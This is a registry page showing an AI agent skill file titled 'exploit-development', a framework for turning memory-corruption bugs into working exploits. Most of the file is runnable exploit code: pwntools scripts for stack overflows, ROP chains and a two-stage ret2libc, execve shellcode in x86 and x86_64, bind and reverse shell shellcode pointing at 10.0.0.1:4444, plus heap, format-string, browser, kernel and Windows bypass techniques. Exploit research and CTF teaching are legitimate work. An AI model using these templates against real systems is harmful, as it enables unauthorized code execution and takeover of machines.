agentleFS
Wang200935Wang200935/security-agent-skills/skills/exploit-dev/exploit-development/SKILL.md

exploit-development

Skill4 starsChanged 3 months agoMITView on GitHub

Exploit development — from vulnerability to working exploit. Covers stack

7 other projects use a version of this.

Adopted by

Most recently taken up by

Used with

Projects with it also use malware-analysis and incident-response.

Other files people use alongside this one.

Files found in the same public projects as a version of this one, more often than they turn up anywhere else. Each project counts once, large collections count for less, and this file's own repository is left out.
  • tsaleSkill

    malware-analysis

    Professional malware analysis workflow for PE executables and suspicious files. Triggers on file uploads with requests like "analyze this malware", "analyze this sample", "what does this executable do", "check this file for malware", or any request to examine suspicious files. Performs static analysis, threat intelligence triage, behavioral inference, and produces analyst-grade reports with reasoned conclusions.

    Also in 3 projects that use this

  • AnthropicSkill

    incident-response

    Run an incident response workflow — triage, communicate, and write postmortem. Trigger with "we have an incident", "production is down", an alert that needs severity assessment, a status update mid-incident, or when writing a blameless postmortem after resolution.

    Also in 3 projects that use this

The file

Files
SKILL.md

Exploit Development — Complete Framework

Exploit development transforms a vulnerability into a working exploit that achieves attacker objectives (code execution, privilege escalation, information disclosure).

Exploit Development Methodology

VULNERABILITY → EXPLOIT PRIMITIVE → MITIGATION BYPASS → PAYLOAD DELIVERY → RELIABLE EXPLOIT

1. Exploit Primitives

Primitive Classification

PrimitivePowerCommon Sources
Arbitrary ReadRead any addressOOB Read, Format String, Info Leak
Arbitrary WriteWrite any addressOOB Write, Use-After-Free, Heap Overflow
RIP ControlControl instruction pointerStack Overflow, VTable corruption, UAF
Write-What-WhereWrite value X at address YType Confusion, Heap Feng Shui
Relative Read/WriteRead/Write ±offset from pointerBuffer overflow, UAF, OOB access
Decrement/Increment+/- 1 to valueNull byte overflow, partial overwrite

2. Stack-Based Buffer Overflow (Classic)

Finding the Offset

from pwn import *

# Pattern-based offset finding
pattern = cyclic(200)
# Send pattern → crash → check EIP/RIP value
# p32 cyclic_find(eip_value) → offset to return address

# Manual
# AAAAAAAABBBBBBBBCCCCCCCC... crash at 0x41414141 → offset found

Basic Stack Smash (No Mitigations)

#!/usr/bin/env python3
from pwn import *

# Connect
p = process('./vulnerable')
# p = remote('target.com', 1337)

# Find offset (e.g., 112 bytes to return address)
offset = 112

# Craft payload
payload = b'A' * offset
payload += p32(0xdeadbeef)  # return address (where to jump)

p.sendline(payload)
p.interactive()

Ret2Win (Redirect to Existing Function)

# If binary has a 'win' function (cat flag, exec shell):
win_addr = 0x080485a6  # from objdump/nm/Ghidra
payload = b'A' * offset + p32(win_addr)

3. Return-Oriented Programming (ROP) — Bypass DEP/NX

Classic ROP Chain (x86)

from pwn import *

# DEP/NX prevents executing shellcode on stack
# ROP: chain existing code fragments ending with RET

# 1. Find ROP gadgets
rop = ROP(binary)
# or: ropper -f binary; ROPgadget --binary binary

# 2. Build chain: execve("/bin/sh", NULL, NULL) via syscall
rop.raw(0)                    # junk (for pop instructions)
rop.execve('/bin/sh', 0, 0)   # pwntools auto-builds

payload = b'A' * offset + rop.chain()

ROP Chain Construction (x86_64)

from pwn import *

context.arch = 'amd64'

# x86_64 syscall: RAX=59 (execve), RDI=ptr_to_"/bin/sh", RSI=0, RDX=0
# Need gadgets: pop rdi; ret, pop rsi; ret, pop rdx; ret, syscall

# Manual ROP chain
rop_chain = b''
rop_chain += p64(pop_rdi_ret)     # pop rdi; ret
rop_chain += p64(binsh_addr)      # address of "/bin/sh" string
rop_chain += p64(pop_rsi_ret)     # pop rsi; ret
rop_chain += p64(0)               # argv = NULL
rop_chain += p64(pop_rdx_ret)     # pop rdx; ret
rop_chain += p64(0)               # envp = NULL
rop_chain += p64(pop_rax_ret)     # pop rax; ret
rop_chain += p64(59)              # SYS_execve
rop_chain += p64(syscall_addr)    # syscall

# Or with pwntools:
rop = ROP(binary)
rop.execve(binsh_addr, 0, 0)
payload = b'A' * offset + rop.chain()

Finding "/bin/sh" String

# Method 1: In binary
elf = ELF('./binary')
binsh = next(elf.search(b'/bin/sh\x00'))

# Method 2: In libc
libc = ELF('./libc.so.6')
binsh = next(libc.search(b'/bin/sh\x00'))

# Method 3: Environment
# Address of "/bin/sh" somewhere in environment/argv

# Method 4: Write it yourself
# Use ROP to write "/bin/sh" to writable memory (.bss, .data)
rop.write(bss_addr, b'/bin/sh\x00')
rop.execve(bss_addr, 0, 0)

4. ASLR Bypass

Technique #1: Information Leak

# 1. Leak libc address (via puts, printf, write@GOT)
# 2. Calculate libc base
# 3. Use offsets to build ROP with libc gadgets

# Stage 1: Leak
payload1 = b'A' * offset
payload1 += p32(puts_plt)        # call puts()
payload1 += p32(main_addr)       # return to main for stage 2
payload1 += p32(puts_got)        # argument: address of puts@GOT

p.sendline(payload1)
leaked = u32(p.recv(4))  # leaked puts@libc address

# Calculate libc base
libc_base = leaked - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))

# Stage 2: Ret2libc
payload2 = b'A' * offset
payload2 += p32(system_addr)
payload2 += b'JUNK'              # return address after system()
payload2 += p32(binsh_addr)      # argument

p.sendline(payload2)
p.interactive()

Technique #2: Partial Overwrite (32-bit)

# If binary has no PIE (fixed base), overwrite only LSB of return address
# to re-direct within the same binary page (ASLR doesn't randomize intra-page)

# Return address: 0xF7XXYYZZ → overwrite YYZZ to point to different function
# 12 bits of entropy remain → 1/4096 brute force

Technique #3: Bruteforce

# On 32-bit Linux with no PIE:
# libc ASLR has 8-12 bits of entropy → 256-4096 tries max
# On 64-bit: impractical (28+ bits) unless specific conditions

for attempt in range(4096):
    p = process('./vulnerable')
    payload = b'A' * offset + p32(guessed_addr)
    p.sendline(payload)
    try:
        p.recv(timeout=1)
        success(f'Guessed: {hex(guessed_addr)}')
        break
    except:
        p.close()

Technique #4: Stack Pivot

# When overflow is too small for full ROP chain
# Pivot stack to controlled buffer

# Gadget: "xchg esp, eax; ret" or "add esp, X; ret"
# 1. Set EAX/ESP to point to controlled buffer
# 2. Execute xchg → ESP now points to attacker's ROP chain

# Example: xchg eax, esp; ret (stack pivoting)
# EAX must contain address of controlled buffer

5. Heap Exploitation

Heap Overflow → Write-What-Where

# Heap allocators: ptmalloc2 (glibc), jemalloc, tcmalloc
# Target: overwrite adjacent chunk metadata or function pointer

# Classic unlink attack (glibc < 2.26)
# 1. Allocate 3 chunks: A, B (target), C
# 2. Fake chunk in A: fd=ptr_to_write-12, bk=ptr_to_write-8
# 3. Overflow A → corrupt B's prev_size and PREV_INUSE flag
# 4. free(B) → unlink merges with fake chunk → write-what-where

# Modern glibc: tcache poisoning (glibc 2.26+)
# 1. Overflow/UAF to corrupt tcache next pointer
# 2. Point tcache->next to target address
# 3. malloc() returns target address → arbitrary write

Use-After-Free (UAF) → RIP Control

# Pattern: free → reuse → crash → control

# Step 1: Trigger UAF
obj1 = malloc(size)
free(obj1)                  # freed, but pointer still held

# Step 2: Fill freed slot with attacker data
obj2 = malloc(size)         # reuses obj1's memory
fill_with_data(obj2)        # overwrite obj1's former memory

# Step 3: Dangling pointer usage
obj1->vtable->func()        # uses obj1's (now attacker-controlled) vtable
# → RIP = attacker's address!

# JS browser UAF:
# var elem = document.createElement('div');
# elem.free();  // freed
# var spray = allocate(0x58 * 1000);  // reclaim freed memory
# elem.applyElement(...);  // use freed → type confusion → fake vtable

Heap Feng Shui

# Heap Feng Shui: deterministic placement of objects
# Goal: control what's adjacent to vulnerable allocation

# Technique: Mass Allocation
def heap_feng_shui(target_size):
    """Place allocations to control heap layout."""
    holes = []
    for i in range(1000):
        arr = allocate(target_size)
        holes.append(arr)
    
    # Free every other to create predictable free list:
    for i in range(0, 1000, 2):
        free(holes[i])
    
    # Now: predictable free chunks → controllable placement
    return holes[1::2]  # remaining allocations

6. Shellcode Development

execve("/bin/sh") — Linux x86

; 23 bytes
mov eax, 0xb            ; SYS_execve
xor ecx, ecx             ; argv = NULL
xor edx, edx             ; envp = NULL
push edx                 ; NULL terminator
push 0x68732f2f          ; "//sh"
push 0x6e69622f          ; "/bin"
mov ebx, esp             ; ptr to "/bin//sh"
int 0x80                 ; syscall

execve("/bin/sh") — Linux x86_64

; 27 bytes
xor rsi, rsi             ; argv = NULL
xor rdx, rdx             ; envp = NULL
push rsi
push 0x68732f6e          ; "n/sh"
push 0x69622f2f          ; "//bi"
mov rdi, rsp             ; ptr to "//bin/sh"
xor eax, eax
mov al, 59               ; SYS_execve
syscall

Common Shellcode Modifications

# pwntools shellcraft
from pwn import *

context.arch = 'amd64'

# Standard execve shellcode
sc = asm(shellcraft.sh())

# Bind shell (listen on port)
sc = asm(shellcraft.bindsh(4444, 'ipv4'))

# Reverse shell
sc = asm(shellcraft.connect('10.0.0.1', 4444))

# Shellcode must avoid:
# - NULL bytes (terminates string copy: strcpy)
# - Newlines (0x0a terminates gets/fgets)
# - Spaces/tabs (scanf %s, some parsers)
# - Bad chars specific to protocol (e.g., & for HTTP query string)

# Encode to avoid bad chars:
sc_encoded = asm(shellcraft.sh())
sc_encoded = encode(sc_encoded, avoid=b'\x00\x0a')

Egghunting

# When payload space is limited: Place shellcode elsewhere, search for it

# Egg hunter: small code that scans memory for "EGG=EGG=" marker
# EGG = 4-byte tag repeated twice (8 bytes)

EGG = 0x50905090  # NOP NOP

egghunter = """
    mov ebx, {egg}
    xor ecx, ecx
    mul ecx
next_page:
    or dx, 0xfff
next_addr:
    inc edx
    push byte 0x21      ; access syscall
    pop eax
    lea ebx, [edx+0x8]
    int 0x80
    cmp al, 0xf2         ; EFAULT
    jz next_page
    cmp [edx], ebx
    jnz next_addr
    cmp [edx+4], ebx
    jnz next_addr
    jmp edx              ; found EGG → execute
""".format(egg=EGG)

# Deploy: [EGG][EGG][shellcode] in memory
# Overflow: [padding][return→egghunter]

7. Format String Exploitation

# printf(user_input) → format string vulnerability

# %p: leak stack values
# %s: dereference pointer → read string (arbitrary read!)
# %n: write count to pointer → arbitrary write!

# Step 1: Find offset (which argument controls format string)
# Send: AAAA%p.%p.%p.%p.%p.%p.%p.%p

# Step 2: Leak libc/GOT address
# Format: %{offset}$s → dereference &leak target
payload = p32(got_addr) + b'%7$s'  # reads address at GOT[7]
# Response: leaked libc address → calculate base

# Step 3: Write with %n
# %n: writes bytes_written_so_far
# %hn: 2-byte write, %hhn: 1-byte write (most useful)
# Write address to target:
# [target_addr][target_addr+2]  # 4-byte locations
# %{val1}c%{offset}$hn → write val1 to target
# %{val2}c%{offset+1}$hn → write val2 to target+2

# pwntools fmtstr_payload
from pwn import *
payload = fmtstr_payload(offset, {target_addr: desired_value})

8. Browser Exploitation Basics

JavaScript Engine Bug Classes

BROWSER_BUGS = {
    'JIT_compiler': 'Incorrect optimization → type confusion, bounds elimination',
    'inline_cache': 'Wrong type assumption → type confusion',
    'transitions': 'Object shape transitions → property confusion',
    'array_bounds': 'Bounds check elimination → OOB r/w',
    'gc_timing': 'UAF via GC timing vs JS execution',
    'typed_array': 'Detached buffer + view → UAF',
    'prototype_corruption': 'Prototype pollution → arbitrary property injection',
}

V8-Specific Exploit Pipeline

# 1. Bug: JIT incorrectly eliminates bounds check
# → OOB read/write on JSArray

# 2. OOB → Addrof/Fakeobj primitives
# addrof(obj): read object address (leak)
# fakeobj(addr): create JSObject at arbitrary address (fake)

# 3. Arbitrary Read/Write
# Use addrof + fakeobj on ArrayBuffer backing store pointer
# Overwrite backing store → absolute RW in process memory

# 4. Shellcode Execution
# RWX page (write shellcode → jump to it)
# Or WASM RWX page
# Or JIT spray

# Tool: v8-exploitation (various GitHub repos)
# Reference: Connor McGarr, LiveOverflow, Zero Day Engineering

9. Kernel Exploitation

Linux Kernel Exploit Primitives

KERNEL_PRIMITIVES = {
    'kaslr_leak': 'Leak kernel base address (dmesg, /proc/kallsyms, side channel)',
    'kernel_rw': 'Arbitrary read/write in kernel memory → overwrite cred struct',
    'modprobe_path': 'Overwrite /proc/sys/kernel/modprobe_path → arbitrary execution',
    'core_pattern': 'Overwrite /proc/sys/kernel/core_pattern → command execution on crash',
    'cred_overwrite': 'Zero out cred->uid, cred->gid → root',
    'ptmx_fops': 'Overwrite tty function pointers → kernel code execution',
}

Privilege Escalation via cred Overwrite

// Task struct: each process has a cred structure
struct cred {
    kuid_t uid;   // real uid
    kuid_t gid;   // real gid
    kuid_t euid;  // effective uid
    kuid_t egid;  // effective gid
    // ...
};

// Exploit: overwrite all UID/GID fields to 0 → root
// Need: arbitrary kernel write (from UAF, heap overflow, etc.)
// Target: commit_creds(prepare_kernel_cred(0)) — the standard pattern

10. Windows Exploitation

Key Windows Mitigations

MitigationAbbreviationBypass Technique
Data Execution PreventionDEPROP
Address Space Layout RandomizationASLRInfo leak, partial overwrite
Control Flow GuardCFGJOP/COP gadgets, unprotected modules
Arbitrary Code GuardACGROP-only, disable ACG via NtSetInformationProcess
Code Integrity GuardCIGUse signed-only modules
Shadow Stack (CET)CETNon-CET modules, signal-based
Kernel Patch ProtectionPatchGuardDon't modify kernel code; use data-only attacks

Windows Shellcode

; WinExec("cmd.exe", SW_SHOW) — x86
; 1. Find kernel32.dll base (PEB walk)
; 2. Resolve WinExec address
; 3. Call WinExec

; Modern approach: Reflective DLL Loading
; 1. Load DLL from memory (avoid LoadLibrary hooks)
; 2. Resolve imports manually
; 3. Call DllMain

pwntools Quick Reference

from pwn import *

# Context
context.arch = 'amd64'          # i386, amd64, arm, mips
context.os = 'linux'            # linux, windows
context.log_level = 'debug'     # debug, info, warning, error

# Binary loading
elf = ELF('./binary')
libc = ELF('./libc.so.6')
rop = ROP(elf)

# Communication
p = process('./binary')         # local
p = remote('host', port)        # remote
p = ssh('user', 'host', password='pass', port=22)

# Sending
p.send(data)                    # raw
p.sendline(data)                # + newline
p.sendafter(delimiter, data)    # after pattern
p.sendlineafter(delimiter, data)# after pattern + newline

# Receiving
p.recv(n)                       # n bytes
p.recvline()                    # one line
p.recvuntil(delimiter)          # until bytes
p.recvall()                     # until EOF
p.recvrepeat(timeout)           # poll until timeout

# Utility
p32(0x41414141)                 # pack 32-bit LE
u32(b'\x41\x41\x41\x41')       # unpack
p64(addr)                       # pack 64-bit
cyclic(200)                     # De Bruijn pattern
cyclic_find(0x61616171)         # find offset

# Shellcode
asm('xor eax, eax; ret')        # assemble
disasm(b'\x31\xc0\xc3')         # disassemble
shellcraft.sh()                 # execve /bin/sh

Common Exploit Templates

Template: Stack Overflow → Ret2Libc

#!/usr/bin/env python3
from pwn import *

context.arch = 'i386'
context.log_level = 'info'

# Load binaries
elf = ELF('./vuln')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
rop = ROP(elf)

# Connect
p = process('./vuln')

# Find offset
offset = 112  # from cyclic / debugging

# Stage 1: Leak libc
payload1 = flat(
    b'A' * offset,
    p32(elf.plt['puts']),
    p32(elf.symbols['main']),  # return to main
    p32(elf.got['puts'])       # arg: puts@GOT
)
p.sendline(payload1)
p.recvuntil(b'\n')  # skip
leaked = u32(p.recv(4))
libc.address = leaked - libc.symbols['puts']
info(f'libc base: {hex(libc.address)}')

# Stage 2: Shell
payload2 = flat(
    b'A' * offset,
    p32(libc.symbols['system']),
    b'JUNK',  # return (unused)
    p32(next(libc.search(b'/bin/sh\x00')))
)
p.sendline(payload2)
p.interactive()

Template: Heap UAF → RIP Control

#!/usr/bin/env python3
from pwn import *

# UAF exploit flow:
# 1. Allocate victim object
# 2. Trigger free (but keep dangling pointer)
# 3. Allocate attacker data (reuse freed memory)
# 4. Use dangling pointer → crash/control

# Common goal: overwrite vtable pointer → control RIP
vtable_fake_addr = 0x601080  # .bss with fake vtable entries
shell_addr = 0x400600        # shell function / ROP chain

# Build fake vtable
fake_vtable = flat(
    p64(shell_addr),      # vtable[0] → called on object use
    p64(0),
    p64(0),
)

p.interactive()

Deep Knowledge References

  • references/zero-day-research-methodology.md — Complete zero-day research methodology (1881 lines) covering AFL++/libFuzzer/syzkaller fuzzing, crash triage with AddressSanitizer/WinDbg, root cause analysis via BinDiff/Ghidra/angr, exploit development with pwntools/ROPgadget/one_gadget, and kernel exploit techniques (modprobe_path, cred overwrite, eBPF).

Pitfalls

  • Bad characters: Null bytes, newlines, spaces break string-based inputs
  • Stack alignment: x86_64 requires 16-byte stack alignment for some functions → add ret gadget
  • Libc version mismatch: Remote libc may differ from local → use libc-database
  • One-shot gadgets: one_gadget libc.so.6 finds "magic" addresses, but constraints rarely satisfied
  • ASLR entropy: 64-bit: impractical to brute (28-30 bits). Need info leak.
  • Canary bypass: Leak canary via format string / info leak before overwriting
  • Forking servers: Some servers fork() per connection → canary + addresses constant across connections
  • Heap determinism: Heap layout varies with allocation history → feng shui required
  • Timing: Race windows can be nanoseconds; use single-packet attack / busy-loop spin

Download now (ZIP)

Does it work?

Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.

No reviews yet

People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.

  • It worked
  • Partly
  • It didn't
What did you use it for? e.g. Reviewing pull requests in a Rails app

Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.

Your trail

Files you open will collect here, so you can find them again.

Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.

Now do this for your own.

Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.